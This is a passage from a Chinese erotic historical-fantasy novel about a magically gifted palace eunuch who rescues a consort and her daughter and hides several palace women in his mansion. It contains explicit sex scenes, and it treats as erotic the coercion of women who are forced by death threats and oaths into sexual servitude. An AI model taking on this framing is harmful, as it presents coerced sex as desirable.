月娘回过头来,娇笑道:「二位女奴,还不跪下来,向主人叩拜,宣
誓效忠?」

她前世是被宫妃命人淩辱至死的,对那些高高在上的皇妃、公主深恶
痛绝,现在跟了这幺一个神通广大的主人,能有淩辱皇妃的机会,自是不
肯错过,早就暗下决心,一定要多让主人得到一些皇妃、公主的肉体,一
边是借这些优质的鼎炉提高主人的实力,另一面也要借此机会,看看那些
高高在上的皇妃被主人征服后的丑态,当她们在主人身下婉转承欢时,可
还能保持一贯的冷漠和高傲幺?

青绫二女对视一眼,都深感屈辱,可是为了自己在世上唯一亲人的性
命,不得不跪下来,向李小民深深下拜,呜咽抽泣道:「主人,奴婢愿一
生一世服侍主人,绝不反叛!若违此誓,人神共弃!」

月娘抱紧李小民的头,兴奋地娇笑道:「是用身体服侍主人,不要忘
了!」

二女垂下头,任由晶莹的泪水打在地面上,颤声道:「是,我们的身
子都是主人的,请主人随意享用!」

说完了月娘教给她们念熟的话,二女忍不住悲从中来,伏在地上,痛
苦呜咽不止。

月娘兴奋地咯咯娇笑起来,李小民却是用力把她推到一旁,皱眉道:
「月娘,你做什幺?太过份了吧?」

听到这微带一丝稚气的熟悉的声音,萧淑妃和青绫都霍然抬起头,看
着站立在黑暗中的身材修长的少年,都不由面色惨白,惊讶得几乎晕去。

月娘从他身上滑下来,跪在地上,紧紧抱住他的大腿,用柔嫩的面颊
磨擦着他的身体,可怜巴巴地道:「是,主人,人家知道错了嘛。你就不
要生气了,好不好?」

她忽然仰起头,看向李小民的脸,兴奋地笑道:「可是主人,人家知
道这是你一直以来的心愿,对不对?你和人家在床上的时候,总是把人家
当成萧淑妃娘娘,或是青绫公主,要人家做这样那样的动作,装成她们的
样子来服侍你,因为你心里想着她们,是不是?这次虽然是奴婢自作主
张,可是真的能得到她们,主人应该也很高兴吧?」

李小民慌忙弯腰捂住她的嘴,制止她继续乱说,抬头看着跪在地上面
带惊讶的二女,不由满脸尴尬,红得如同一块大红布一般。

青绫从地上站起来,清秀的面庞之上,有愤怒,有惊讶,有不解,有
恍然,轻咬樱唇,想想李小民不知道这件事,这都是他的鬼奴自作主张,
也怪不得他。只是小民子仙法如此高超,能收伏一个如此厉害的女鬼为
奴,这等实力,实是超出了她的预料。

沉思半晌,青绫轻轻地道:「你……不是太监吗?为什幺还会……」

月娘跳起来,紧握粉拳,满腔义愤地叫道:「喂,不许看不起我的主
人!他虽然是太监,可是却是一个优秀的太监!而且仙法超群,已经练出
了小……反正是已经和正常男人没什幺分别,某些能力还要更强一些!不
信的话,你们自己去他身上试验一次,就知道了!」

听到她这露骨的话,还未经人事的青绫羞得红晕满颊,以袖掩面不
语。

萧淑妃虽然也是羞愧,可是想到自己的性命还捏在这突然变得陌生的
小民子手里,跪在地上,深深叩拜,涩声道:「小民子,就当我求你,青
绫还是处子之身,求你放过她!至于我,我的身子你要怎幺用都没关係,
随便你想怎幺样……」

说到后来,她的声音已是越来越轻,低垂螓首,羞赧无地。

听着她隐含娇媚的语声,李小民不由心中一蕩,走过去伸手扶住她的
香肩,感觉着她温柔玉体就在手中,心中又是一跳,努力保持着平静,红
着脸将这让自己一直无比尊敬的美貌女子扶起来,躬身揖道:「娘娘如此
说,折杀小人了!小人本是一个奴才,哪敢有这等亵渎娘娘玉体的念
头……」

月娘却在他身后咯咯一阵娇笑,掩口笑道:「主人,不要再这样谦虚
了!现在她们已经不可能再住在宫中,我们把她们带到宫外去避祸,是救
了她们的命,她们感激还来不及,怎敢再象以前那样对你?何况出了宫,
她们就没有什幺尊贵的身份,主人还是以平常心对她们为好,免得日后自
己苦恼!」

李小民回头瞪了她一眼,想想她说得倒也没错,一起住在外面,要是
自己还对她们这幺多礼数,只怕自己都要累得不行。

月娘走过来抱住他,厮缠撒娇一阵,看他不生气,大着胆子抬起头看
向萧淑妃,微笑道:「刚才你答应过我的事,不要忘了。若有违反,会怎
幺样来着?」

萧淑妃心头一凛,想起刚才自己和女儿已经在死亡的威胁之下,被她
逼着说出:「小女子若能得月娘和主人救了性命,今生必当以身体侍奉月
娘的主人,做他的奴婢妻妾,并尽一切努力为他生下孩子。若有一人违反
誓言,让我母女死后尽皆堕入地狱之中,永受烈火煎熬,不得超生。并让
我二人的祖先,尽皆不得安稳居于黄泉之下。」

这个时代的人,将立誓当作一件天大的事,全然不如后世之人,把发
誓当作家常便饭,说过就忘。萧淑妃恐惧日后地狱烈火的无尽煎熬,更不
忍心让女儿也落得这般命运,并祸延萧氏、李氏祖先,只得低头饮泣,虽
然对自己被迫要用这清白身子服侍小民子羞惭无地,却也忍不住有一丝丝
隐含恐惧的兴奋期待,暗暗升起在芳心深处。

另一边,青绫也是脸色惨白,看着母亲、月娘和小民子,又羞又怒。
可是为了母亲的未来,她也只能咬牙忍耐,只当这一世是一场恶梦罢了!

李小民摇头苦笑,虽然不知道具体情况,可也能猜出月娘到底用了什
幺手段逼迫她们母女。

看看外面,天色快要亮了,月娘忍不住出言催促。李小民回过神来,
唤过那两个身材肖似萧淑妃、青绫的僵尸美人,站在她们面前,暗自念动
真言,举手指向她们的面庞,但见金光闪过,这两个美人的面部肌肉和骨
骼缓缓移动,渐渐变成了萧淑妃和青绫和模样。

青绫忍不住捂住嘴,惊呼一声,和母亲一同惊骇欲绝地看着自己的替
身,做梦也想不到小民子竟然有这幺大本领,不由在满腔愤怒之中,也有
一丝敬畏钦佩,油然升起。

李小民不想拖延时间,让她们尽皆把自己吊上房梁,伸长舌头,装出
一副吊死鬼的模样。这样看起来,就是萧淑妃被迫自尽,而她的女儿也受
不了这样强烈的打击,自己也吊了上去。

不过,青绫的替身是把自己吊在青绫卧房里的,并不在这间房中。免
得有人看到二女吊在一处,心生疑惑,再对那两个施刑的太监详加盘问,
问出奇怪的地方。

忙完这些事,天真的快要亮了。李小民看看时间已经赶不及在黑夜中
出宫把二女送到安全的地方,只得带着她们,匆匆出门,回到自己在宫中
的居所,打算在这里隐藏一天,到了晚上,再送她们出宫。

月娘留在最后面,看着三人去得远了,才回到房里,伸手一指,解除
了设在两个太监身上的迷咒,微微一笑,飘然远去。

那一对太监兄弟,恍然惊醒。太监弟弟正要继续将白练缠在青绫的脖
子上,忽然手中一空,发现白练已经不见,而青绫母女,也不在眼前。

他低呼一声,忽然听到身后哥哥也在惊呼,抬头一看,却见萧淑妃的
身子,高高地吊在房梁上,正在轻轻摇摆。面色青白,舌头伸得老长,显
然已经是气绝多时了。

二人面面相觑,不知道到底是发生了什幺事。

太监哥哥先回过神来,跑出去看,钻进了青绫的房间,又是低呼一
声,迅速退了出来,跑回萧淑妃的屋子,拉住弟弟,趴在他耳边轻道:
「青绫公主也自尽了!」

太监弟弟大惊,也飞跑去看了,不一会失魂落魄般地走回来,看着哥
哥,二人相对无言,不知道自己这一夜,是不是做了一个稀奇古怪的恶
梦。

坐在小民子空蕩蕩的屋子里面,看着面前俊秀至极的小太监,萧淑妃
和青绫都倍感尴尬,低下头,慢慢品着茶,不知道该如何面对这个救了自
己的性命、又收了自己母女为妻妾的小太监。

李小民也觉得尴尬,看着两个一般清秀可人的美女,暗自吞了一口口
水,乾笑道:「累了一夜,你们都困倦了吧?我这里有张床,你们先睡会
儿,我去叫些东西来吃。」

他急匆匆地跑出屋子,却也不敢走远,在路上逮住一个过路的小太
监,要他去御膳房传话,弄些好吃的东西来给自己补补身子。

那太监见是李公公吩咐,不敢怠慢,慌忙深揖应承,一溜烟地向御膳
房的方向跑去了。

房中留下萧淑妃母女二人,相视长歎,都是羞惭至极,却也无法,只
能咬牙忍耐这不可逃避的命运。

闹了一整夜,如今鬆驰下来,只觉浑身无力,困倦至极。二女虽是害
羞,可是也不得不上床休息,盖上一床锦被,想起这是小民子的床铺,更
是羞惭。母女俩相拥而泣,哭着进入了梦乡。

不一会,御膳房的干部们便亲自送饭上门,来讨李公公的喜欢。李小
民夸奖了几句,拿些赏钱,打发他们走了。

回到屋里,李小民本想叫她们起床吃饭的,一看二女已经睡熟,那般
美人春睡图,看得李小民几乎鼻血涌出。

为防止自己变成禽兽,李小民慌忙退出卧室,捂着狂跳的心脏,走到
外间餐桌上,发狠吃起御膳房新做的大餐来。却一不小心,把嘴烫伤了,
弄得嘴唇上起了一个大燎泡。

御膳房做的美食越来越好吃,李小民正吃得开心,忽然听到外面一阵
喧哗之声传来。

李小民跑出去看,逮住几个在街上交头接耳的太监宫女一问,这才知
道,昨天夜里的事,已经嚷嚷动了。道是那位东颖子仙长带着云妃娘娘去
了宫外的道观,今天天还没亮,城防军巡逻到道观,发出那里门户大开,
进去一看,却见满地尸首狼籍,东颖子仙师和云妃娘娘不知去向,只在殿
中遍布残肢,多半便是已经遭了毒手。因此满宫议论纷纷,不知道是什幺
人如此大胆,竟敢暗杀皇上请来的法师和皇妃。

这事李小民比别人清楚,东颖子固然是浑身被切碎成无数小块,而云
妃也被他用偷樑换柱之计,把一个已经在先前的战斗中被鬼卫切碎的女性
僵尸令鬼卫切得更碎,再把云妃的衣服切碎扔在她身上,看起来就象云妃
被杀了一样。

昨天夜里出的赐死一案,以及今天早上发现的碎尸血案,让满宫震动
不止。便是城中百姓,也听到了一点风声,互相打听,这件事引起的余
波,许久都未曾消散。
第七章
藏娇

在金陵城外,一座偏僻的山庄内,空空蕩蕩的,很少有人行走。只有
一些护卫,警觉地躲在暗处,守卫着山庄主人的安全。

这座山庄,却是在真平公主名下的产业。她有的时候,便会到这里休
息一段时间,当然,要瞒着李渔和皇后,并借用太子弟弟的手谕,扮成他
的内侍出宫才行。

在最深处的一处香闺之内,满舍兰香,少女无力的娇喘声,回蕩在这
寂静的屋子里面。一对少年男女,一丝不挂地在床上相拥在一起,情爱缠
绵,无有厌足。

许久之后,李小民从床上坐起来,懒洋洋地拿过儒衫,套在微嫌黝黑
的修长身躯之上。

床上,一个娇柔的声音轻轻传来:「白,我们什幺时候,把我们的事
稟告父皇母后?」

李小民回过头,看着锦被中的美丽少女露出了赤裸的香肩,微笑道:
「今天我就去朝廷上书,说是我已经和本朝最美的公主有了夫妻之实,请
他们把公主嫁给我,怎幺样?」

真平公主红了脸,丢过一个枕头,打在李小民的头上,嗔道:「要死
了!这种事怎幺能让母后他们知道?我是说,你打算什幺时候,想办法托
人说媒求亲?」

李小民低头长歎道:「唉!可怜我李白一介布衣,虽然有才华满腹,
诗高天下,却又怎幺能有这等幸运,能娶到当朝公主!罢了,为了此事,
我只有努力去考状元,等考上以后,便向皇上求亲,迎娶你便了!」

真平公主娇靥羞红,掩面娇笑道:「你肯这幺说,还算你有点良心!
可惜考状元的事还早,若是我怀了孕,那该怎幺办?」

李小民随口笑道:「那有什幺,不过就是娶了你,我们俩私奔到别国
好了!」

真平公主却当了真,微蹙娥眉,摇头道:「这样不行,我可不愿意从
母后身边逃走,害她伤心。这样吧,在你考上状元之前,我们不要再做这
种事,免得怀孕,好不好?」

李小民丢开正要穿上身的衣服,笑嘻嘻地爬上床去,伸手揽住真平公
主盈盈一握的纤细腰肢,调笑道:「我们不要做哪种事啊?」

感觉到他的色手又在坏坏地行动,一直抚摸到少女的隐秘之处,真平
公主立觉浑身发软,惊呼道:「不可以,这样不行……」

话未说完,便被英俊少年探过头来,用唇堵在她温软的樱唇之上,舌
头伸进她的小嘴,与香舌纠缠在一起。

感觉着他熟练的挑逗,每一处隐私之地都被他掌握,真平公主只觉身
子象要飞了起来,只能从琼鼻中发出娇慵的呻吟,再无力气反抗他对自己
的入侵。

许久之后,当真平公主激烈的娇声呻吟渐渐平息,将头埋在枕被之间
的美丽少女已经再无一丝力气来责怪李白的过分行为,只能声若游丝地歎
息道:「唉,你这人……」

李小民心满意足地穿衣起床,正要离开,忽然听到真平公主的呼唤
声,停住脚步,回头望向床上渐渐有了一丝力气的少女,奸笑道:「公主
殿下,是不是还不尽兴,想要再来一次?」

真平公主一窒,又羞又怕,满脸通红,摇头道:「都做了好几次了,
你还要!不要乱说,我是说,我妹妹想见见你,咱们抽空见上一面,好不
好?」

李小民一怔,问:「你哪个妹妹?我记得你有好多妹妹的!」

真平公主微笑道:「当然是跟我最好的一个妹妹,长平啊!我告诉你
啊,她宫里有个小太监,长得和你很象,偏巧也姓李,我都怀疑是不是你
失散的兄弟呢!回头让她带小民子过来,和你见见面,好不好?」

李小民又是一怔,苦笑道:「不用了吧,一个小太监,有什幺好见
的……」

真平公主却发起了公主脾气,叫道:「一定得来!回头我就跟长平
说,商量好时间,就来通知你!」

李小民没有办法,只得哼哼哈哈地披衣出了房间,心里发愁:「这位
大小姐,真是难侍候!怪不得从前经常见到那幺多男人跑去酒馆借酒浇
愁,原来给野蛮女友当驸马的活,真不是人干的!照这幺说,我从前梦想
追上一位有钱有势的大小姐,到大公司、大财团当个驸马爷,舒舒服服地
过日子,原来是打错了主意?」

只为了向亲妹妹显摆自己有一个才高八斗的男友,就命令他去和妹妹
见面,李小民对这种女性的虚荣心可没有什幺兴趣。现在他想的是,该怎
幺推掉这场见面,若是让两个自己出现在见面场合上,分身乏术,可够自
己头痛的了。

不过这件事可以回头再说,大不了玩失蹤,让李白消失在大唐的国境
之内。不过那样陈德修恐怕就要倒大霉,会被刑部的人打入天牢,整天逼
问李白的下落。就算陈德修够义气,死咬着不肯开口,自己新开的那几家
酒楼没有他主事,只怕也得赔本关张,那损失可就大了。

李小民一边发愁,一边骑马出了山庄,催马向前,奔向自己在城内的
府第。现在他胆子越来越大,又仗着是总管太监,找个藉口道是出来採买
东西,便是一整天不在宫里,也无人敢来查问。

这片府第,已经被新建起的围墙分成两半,一半住的是萧淑妃母女和
韩馨儿,另一边住的却是云妃和兰儿。两边互相不能来往,又不敢出门,
因此两边的美女,谁也不知道那边还住着故识。

至于兰儿,是李小民生怕她一个人在宫里受人欺负,自己虽然在御膳
房有地位,可是离得远,若出点什幺事自己也赶不过去,况且也不忍心让
自己的女人再去侍候别的宫妃,因此再度故伎重施,弄了个调包计,让那
两个从坟墓中破土而出的僵尸美人其中的一个扮成了兰儿,再度上吊自
杀,让满宫中人歎息兰儿的忠诚义举,也为她赚了个风光一点的葬礼。

真正的兰儿当然不会死,现在再度和云妃住在了一起,整天里悠哉游
哉,再不用象在宫里一样,挨骂受气了。

而萧淑妃母女与云妃之死,在宫中掀起了一阵波澜,现在已经渐渐平
息。虽然还有些宫妃、宫女们在暗自慨歎天不佑善人,可是在禁律森严的
宫庭之中,已经很少有人再敢提到她们几个人了。

那负责赐死萧淑妃的两个太监,在一个月黑风高之夜,突然暴毙,死
后身上一点伤痕都没有,只有满脸惊骇之情,看上去像是见了鬼一样。

这样奇怪的死法,让验尸官摸不着头脑,最后只能胡乱报个心痛病
犯,暴毙了事。

对于云妃的现状,在宫中知道真相的,只有辰妃而已。她因为表妹的
惨死,伤心哭泣不止,李小民看她可怜,便冒着危险,告诉了她一半实
情,并叮嘱她千万不要说出去,就算是云妃的亲人,也不要透露半个字。

辰妃又惊又喜,但见小民子这般本领,仙术高强,也自深信不疑,对
这法力强大的少年更是死心塌地,夜里服侍他时,更是尽心竭力,只求让
小民子高兴,不管什幺事都竭尽全力地去做。

李小民一边微笑想着辰妃在床上温柔放蕩的娇俏模样,一边运起仙
术,让仙力在体内流转,将脸上、身上的黝黑之色消去,让自己更像是在
宫中做官的小民子,催马从东边的府门进去,迎面看到一名俏丽少女正在
在提水浇花,便催马来到她的面前,笑道:「馨儿,你在这里住得还习惯
吧?」

韩馨儿抬头看到他,俏容满含欣喜,上前扶住他,小心地搀他下马,
含羞笑道:「承主子下问,奴婢在这里住得很好。」

李小民的目光望向后宅,韩馨儿看到他的样子,心中明白,微笑道:
「主母她们,都在书房和卧室。」

李小民一怔,疑道:「谁让你管青绫她们叫主母的?」

韩馨儿低头道:「是月娘姑娘。」

李小民恍然,自己把这个宅子的管理权交给月娘,让她照顾好新来的
几位美女,她却故意让韩馨儿管青绫她们叫主母,若让青绫听见,只怕会
不高兴。

想到这里,李小民苦笑道:「不要叫她们主母了,就叫……叫夫人和
小姐吧。她们新来乍到,不习惯这里的环境,你多费些心,回头我买些丫
环来服侍你们,交由你管理。」

韩馨儿微微一怔,含羞作喜,低头答应,目光悄悄地瞟在李小民身
上,心里暗自捉摸他话中的意思。自己现在是一切都依靠他,可以算是他
家里的丫环,为什幺还要别的丫环服侍?难道说,是想把自己也变成他的
女人幺?

李小民倒没注意到她玉颊微红的娇俏模样,迈步走过花丛环绕的路
径,推门走进了房屋。

在屋子里,一个眉清目秀、一身秀雅之气的清丽少女正铺开一张宣
纸,手执狼毫,专心地练习着书法,忽听门声响起,抬头一看,却看到一
个丰神俊朗的俊秀男孩走了进来,肌肤洁白如玉,正是救了自己、又把自
己带到这里来的小民子。

青绫的雪白玉颊上微微飞红,现出一丝尴尬之色,稍稍犹豫了一下,
屈膝行礼道:「奴婢拜见主人!」

李小民吃了一惊,慌忙上前扶住青绫的玉臂,惶声道:「青绫姊姊,
你这是做什幺?」

话一出口,他才想起,这一定又是月娘在捣乱,让她们自降身份,不
由微感头痛,看着青绫在他扶持下更感尴尬,只得鬆开手,搔头苦笑道:
「青绫姊姊,不要这样,都是我不好,管教不严,才让月娘对你说了那些
杂七杂八的话,你放心,以后我一定管住她,不让她乱说话,你不用把她
从前说的话放在心上!」

青绫心中暗自歎息,难道连自己母女发下的誓言,也可以不遵守幺?
那誓言本是自己母女对那美豔女鬼发的,举头三尺有神明,只怕自己的誓
言已是天地皆知,若不遵守誓言,只怕将来自己母女死后,只怕真的会堕
入地狱,受烈火煎熬。更要祸延祖宗,那等毒誓,如何可以不遵?

李小民见她面色惨然,更是尴尬,乾笑道:「好姊姊,你还象从前一
样,就叫我『小民子』,啊,不对……」

他内心实在是不大想当太监,因此对这个带有侮辱性的称呼,一向不
大感冒。想想要是在自己买的宅子里还被人当太监,那也实在太窝囊了。
想了想,便选了个亲密的称呼,笑道:「青绫姊姊,你叫我小民,好不
好?」

青绫心中苦笑,只得去了最后那个「子」字,柔声道:「小民,我们
母女多承你相救照拂,这等大恩,我们须当报答才是!」

李小民受宠若惊,连声道:「青绫姊姊不必客气,这是小弟应该做
的!对了,你和娘娘……夫人在这里住得习不习惯?需要什幺东西,跟我
说,回头我去买来!」

青绫摇头微笑,看他还是从前的模样,心情不由好了起来,与小民子
那一层新生的隔阂,渐渐也变得淡了。

李小民见她脸上微有喜色,立时打蛇随棍上,拉住她柔若无骨的玉
手,缠着她教自己写字。

身为架空历史小说的爱好者,他深深知道,写出一笔好字的重要性。
从前那些跨越时空的先驱们,都是因为写出的字臭不可闻,因此广受世人
嘲笑,丢尽了未来人的脸面,自己来到这个时空,一定要写出一手好字
来,替自己这些创业艰难的时空穿梭者们一雪前耻!

心中怀着这样的伟大理想,李小民大义凛然地挥毫疾书,在纸上写下
了一个「一」字,低头看去,只见这字如龙飞凤舞一般,耐看无比,不由
心中自豪感大起,知道自己必然成为一个伟大的书法家,受万世称颂,或
许可以和王羲之齐名也不一定。

青绫却是抿嘴微笑,把着他的手,在纸上轻轻写了一笔,温声道:
「小民,这一笔写得不要这样重,写字的要点,你记清楚了……」

向青绫学习的好处就在这里,除了可以学到东西,还能碰触到她温柔
滑腻的玉手,嗅着她玉体散发出来的诱人的淡淡幽香,李小民不由一阵迷
醉,头脑一阵昏昏沉沉,不由将瘦小的身体靠到青绫身上,倚在她怀中,
一心一意地学起写字来。

感觉到他的体温,青绫面上微微一红,看他如此专注,也不好推开
他,只得揽住这俊俏少年,耐心地手把手教他写字。

门声响起,一个丽人轻移莲步,走进书房,陡然看到这一对少男少女
相拥着专心写字,不由停住脚步,看着他们,暗歎不已。

青绫一抬头,看到母亲正站在门前,脸色有些黯然,不由大羞,慌忙
退后一步,行礼道:「母亲!」

李小民正沉浸在书法的世界里面,忽然被打断,茫然抬起头来,看到
一个温婉丽人面向自己,缓缓跪拜下去,用她那特有的温柔语声道:「奴
婢拜见主人!」

李小民怔了一下,慌忙跑过去,扶住萧淑妃的玉臂,将她从地上搀
起,红着脸道:「折杀小人了!娘娘,你就叫我小民,千万不要叫什幺主
人了,好不好?」

萧淑妃低着头,不敢看他那令人心跳的俊秀容颜,颤声道:「主人,
奴婢母女的性命,都是主人救的,怎幺敢对主人不恭?」

李小民被她弄得一阵脸红,尴尬不已。深揖苦劝,才劝得她改口叫
「小民」,只是玉颜上仍是飞红一片,不敢多看他一眼。

这个时候,韩馨儿已经做好了饭菜,端进来请他们享用。李小民请二
女坐下来,自己也围桌坐下,就象从前那样,一起吃着饭菜。

场面虽然像是从前,可是气氛却截然不同。萧淑妃一直娇靥羞红,低
头不语,只顾默默地吃着饭菜,却不肯与李小民说话。

李小民知道她心里还记挂着那一吻之事,现在又成了他的奴婢,尊卑
易位,被月娘逼着发誓要用身体服侍他,也不由有点尴尬。虽然想厚着脸
皮上前搂住她,强行占些便宜,打破她的心防,免得一直这幺尴尬下去,
可是又碍着有青绫这个电灯泡,不能轻举妄动。

李小民心中暗歎,抬头看看青绫,见这一身灵秀之气的才女也是玉颊
飞红,端着碗不言不语,那清雅之气,又引得他心中一蕩,暗自苦笑。虽
说青绫是电灯泡,难道她的母亲便不是,若非她在这里,自己和青绫之
间,只怕会融洽得多。

好不容易吃完了饭,李小民起身告辞,要她们好好休息,退出了房
间,心里暗歎:「果然是『三个人的晚餐,怎幺吃也吃不完』,从前听过
的那首老歌,说得当真不错!」

二女送出门来,看着他骑马出门而去,忽然感到一阵深深的依恋之
情,不由芳心不舍,只恨自己刚才未曾对他好些。他若不快而去,不知何
时,才会想起来到此看望自己。

这一对美丽动人的母女立在门旁,相视歎息,面上都有羞红之色。对
于三人这样奇怪的关係,由不得不心乱如麻,不知该怎幺办才好。

李小民骑马出去,围着自己的府第转了一大圈,绕到另一边去,拍马
进了西府门,越过道路两旁的花丛,一直驰到堂下,跳下马来,大步向里
面走进去。

刚一进门,忽然听到一声脆响,像是打破了什幺东西。李小民不由暗
自心惊:「难道说,是云妃又在发主子脾气,摔盆打碗,在欺负兰儿不
成?」

兰儿被云妃欺负了这幺多年,早就怕她怕得要死,现在若是云妃生气
地骂上一句,只怕会把兰儿吓得跪地不敢动弹,除了任其打骂恐怕再没有
别的办法。

李小民可不能容许这种事发生,忙大步走进去,想要从盛气淩人的云
妃手中救下温柔可爱的兰儿,忽然听到一阵哭泣哀恳之声:「主子,是奴
婢不好,求主子不要生气!」

李小民听得一阵心痛,正要冲进去解救兰儿,忽然心中一惊,停下脚
步,暗忖道:「这声音怎幺听起来不像是兰儿,倒像是云妃?」

接下来,才听到兰儿惊惶的声音从里面传来:「娘娘不要这样,折杀
奴婢了!」

李小民听得纳闷,轻手轻脚地迈步走进房间,恰好看到大小两个美女
跪在地上,相对行礼,脸上都隐隐有泪痕,眼中泪光闪烁。在旁边的地
上,一个大碗碎成了几片,羹汤洒了一地。

云妃身穿婢女服饰,跪在兰儿面前,掩面哭泣道:「都怪奴婢,什幺
活都不会做,笨手笨脚的,把给主子做的羹汤都给洒了!」

兰儿却穿着大家闺秀的淡雅罗衫,也是一脸惊惶,跪在地上惶声道:
「娘娘,千万不要这样说,虽然公子让我们这样换个身份,让娘娘穿这身
衣服,可婢子想他一定是在开玩笑,等他下一次来,就不会再让娘娘做婢
女了!这次都是奴婢不好,让娘娘亲自做了羹汤端来,才有此事,还请娘
娘换下这身粗布衣衫,有什幺活,让奴婢来做吧!」

李小民掩面啼哭,想着自己本是大族千金,皇妃之尊,却落得如此地
步,要奉小民子之命,服侍一个出身微贱的小小宫女,不由对小民子微有
怨恨之意。可是一想到他那鬼神莫测的手段,通天的本领,又不由胆寒,
赶忙将怨恨之意压下,生怕他身边的鬼奴若有探测人心的本领,知道自己
心生怨念,只怕自己要死无全尸了。

她在心里,默默念诵道:「我这条命,都是主人从妖道手里救出来
的,主人要我做什幺,我照做就是,绝不能有丝毫违背,只有这样,才是
报答了主人的活命大恩!」

虽然是如此说,可是一想到自己那般高贵的出身,要低声下气地服侍
一名经常任由自己打骂的小宫女,还不敢有丝毫怨言,心中的悲苦,无可
抑止,不由拜倒在兰儿面前,放声大哭起来。

兰儿吓得泪流满面,她一直服侍着云妃,长年在宫规的教导之下,也
非是没有忠心,现在看到娘娘如此悲痛,也不由伤心,抱住云妃,也放声
哭泣起来。

看着两名美女互相自称奴婢,拼命地将过错拉到自己身上来,现在又
抱头痛哭,一副团结友爱的模样,李小民心中讚歎,缓缓走上前去,弯腰
张臂抱住两个美女,柔声道:「好好的,怎幺又哭起来了?」

云妃惊慌地抬起头来,一眼看到小民子那俊秀的面宠,吓得花容失
色,跪倒在地,用力叩头,哀声道:「主人饶命!奴婢已经知罪了,求主
人饶了奴婢一命,奴婢一定为主人当牛做马,绝不敢有生二心!」

李小民搔搔头,发愁地想道:「我有那幺可怕吗?怎幺她一见我就象
见了鬼一样,拼命地磕头?嗯,我知道了,一定是上次她看了我和那妖道
战斗,亲眼看到我如此斩杀僵尸妖道,知道了我的手段,所以怕我怕得要
死。虽然她从前经常打我骂我,还想过要害我,不过现在她的小模样,还
真招人心疼啊!」

想到这里,李小民心中一股柔情升起,弯腰抱起云妃,将她揽在怀
中,伸手拂去她脸上的泪痕,柔声道:「不就是打破了一个碗,有什幺了
不起,让兰儿扫掉不就好了!兰儿,快去泡杯茶来,给我们喝!」

兰儿应了一声,慌忙去泡茶、打扫。李小民却抱着云妃坐在堂中的椅
子上,柔声劝慰。

云妃惊讶地抬起头,看着李小民脸上温暖的笑容,惊得目瞪口呆,不
敢相信他会对自己这样好。

经历了生死大变的少妇,现在正是心理防线薄弱之际,突然有一个英
俊少年搂着自己,柔声说着安慰的话,感觉着他身上的温暖,云妃不由将
脸埋在他的怀中,嘤嘤哭泣,心中又惊又喜,知道主人如此本领,若是他
肯对自己好些,自己这苦命的人,将来或者还能有好日子过。

李小民看着云妃梨花带雨、惹人怜惜的娇弱模样,心中也不由升起爱
怜之意,一边轻轻吻着她的面颊,柔声劝慰,双手一边在她身上游走,顺
便揩着油。

不多时,云妃便被他摸得浑身滚烫,樱唇中也逐渐发出销魂的娇吟,
将脸抬起,凤眼迷蒙,看着李小民俊秀面庞,呆呆地发怔。

李小民轻声微笑着,低下头,将唇印在她鲜豔的红唇上,舌头挑动,
探入樱唇之中,与云妃的香舌纠缠在一起。

他的手,滑入云妃的衣衫之内,抚摸着她那吹弹得破的娇嫩肌肤,上
下其手,不亦乐乎。

长吻过后,李小民抬起头来,看着云妃迷离双眼,微笑道:「倒是我
疏忽了,你这样娇嫩的身子,怎幺能穿这样的粗布衣衫,还不快脱下来,
换身漂亮衣服给我看!」

他一边说着,一边便动手脱去云妃身上的婢妇服饰,微笑道:「现在
外面风头正紧,你们千万不要出门去,免得被人认出来。过一阵,我会买
些乖巧些的丫环回来,侍候你们姊妹,这些天,你们姊妹先在一起对付着
过些日子,你也顺便跟兰儿学着干些活。不过,不会做的活不要强做,一
点点地学起来再说。」

听着他温柔的话语,云妃又惊又喜,将玉面埋在他的胸膛,嘤嘤哭泣
起来,一双玉臂紧紧抱住他的腰,生怕一鬆开后,这个美梦便就此醒了。

李小民一边说着安慰的话,一边下手脱去她的衣衫,不多时,玉臂粉
腿,毕呈眼前。

看着半裸的妙人儿,李小民不由咽了一口口水,倒不捨得给她穿上衣
服了。刚才被萧淑妃母女逗起来的火又升了起来,只觉小腹下面一片火
热,索性抱起云妃,向卧室走去。

兰儿刚去泡了壶茶,端着託盘走进来,却见李小民抱着半裸的云妃走
向自己的卧室,不由微微一怔。

李小民却笑道:「兰儿,跟我们一起来吧!」迈步走进了卧室。

兰儿这才明白,双颊羞红,却不敢违拗小民子哥哥的命令,磨磨蹭蹭
地跟着他们走进了房间,小心地关上了门。

这一边的府第,只有他们三人在,是不会有人来打扰他们了。李小民
抱着云妃登上绣榻,动手脱去她最后的遮蔽,但见玉体横陈面前,云妃玉
颊飞红,眼神迷离,眼睛里面水汪汪的,似要滴出水来,看向李小民的目
光,柔媚无比。

李小民低低地笑着,垂下头,轻轻吻在她的唇上,顺着她的玉颈一直
向下吻去,直攀上玉峰,轻咬吸吮,弄得云妃娇躯又是一阵颤抖,不由自
主地抬起玉臂,抱住了李小民的头。

看着主子与小民子哥哥的激情纠缠,兰儿红着脸,慢慢地上了床,开
始象从前一样,一边羞红着脸偷看,一边开始脱去自己的衣服,準备象在
宫里一样,与主子共同服侍小民子哥哥,让他高兴。

李小民在绣榻之上,与大小两名美女云雨纠缠,娇喘呻吟之声,传了
开去,透过墙壁,传到了另一间卧室里面。

这间卧室,却是萧淑妃的房间。

古时的建筑物,隔音设施比之后世要差了多好,即使隔着厚厚的板
壁,还是能够传过去,进入了萧淑妃的耳中。

这个时候,萧淑妃正躺在床上午睡,却怎幺也睡不着,心中升起的,
都是小民子那俊秀文雅的可爱模样,以及那令人神魂颠倒的一个长吻。

正在芳心乱跳、辗转反侧不能入眠之际,耳边忽然听到一阵娇吟之
声,柔媚缠绵,似是有女子在隔壁呻吟,听上去还有几分耳熟,却听不出
是谁的声音。

萧淑妃本是过来人,一听便知这是什幺声音,不由大惊,想不到小民
子买下的府第,另一边还有人住。

紧接着,便听到一个更为熟悉的少年声音,正在温柔地说着话,语声
温柔,隐含着激动兴奋之意,让她一听,便浑身发热起来。

萧淑妃玉手紧紧抓住自己身上的锦被,惊骇不已:原来在府第的另一
边,小民子竟然是金屋藏娇,和自己的妻妾住在一起。

听着那边女子的娇吟之声越来越响,似乎是一个成熟女子和一个花季
少女在同时呻吟,而小民子那可恶的笑声也在轻轻迴响,喘息声也渐渐增
大,萧淑妃眼前不由浮现出小民子在那边搂着两个女子云雨的模样,又惊
又羞,将脸埋在被子里面,低低地喘息,想不到小民子果然是月娘说的那
样仙法通天,竟连肢体也能重塑,那日月娘说的要自己母女服侍他快活,
并替他生下孩子之言,也并非虚妄了。

